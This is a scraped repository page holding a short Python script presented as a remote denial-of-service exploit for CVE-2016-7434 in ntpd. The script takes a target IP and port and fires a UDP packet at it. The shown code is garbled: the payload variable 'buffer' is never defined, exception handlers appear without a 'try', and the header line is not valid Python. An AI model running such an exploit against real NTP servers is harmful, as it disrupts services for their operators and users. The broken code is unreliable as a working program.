Find file
Fetching contributors…
Cannot retrieve contributors at this time
executable file 34 lines (27 sloc) 1.26 KB
#!/usr/bin/env python
# -*- coding: utf-8 -*-
CVE-2016-7434 ntpd remote DOS by opsxcq (
from sys import argv, exit
import socket
from argparse import ArgumentParser
def exploit(target, port):
"""CVE-2016-7434 exploit"""
# Create a datagram socket
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.sendto(buffer, (target, port))
print("[+] Exploit sent, please test the target\n")
if __name__ == "__main__":
ap = ArgumentParser(description="CVE-2016-7434 ntpd remote DOS")
ap.add_argument("-t", "--target", required=True, help="Target's IP address")
ap.add_argument("-p", "--port", required=False, type=int, help="port where ntpd is running")
args = vars(ap.parse_args())
print("[*] Starting CVE-2016-7434 ntpd remote DOS")
exploit(args["target"], args["port"])
except IOError:
exit("[!] Error sending packets")
except KeyboardInterrupt:
print("\n[*] Stopping the exploit")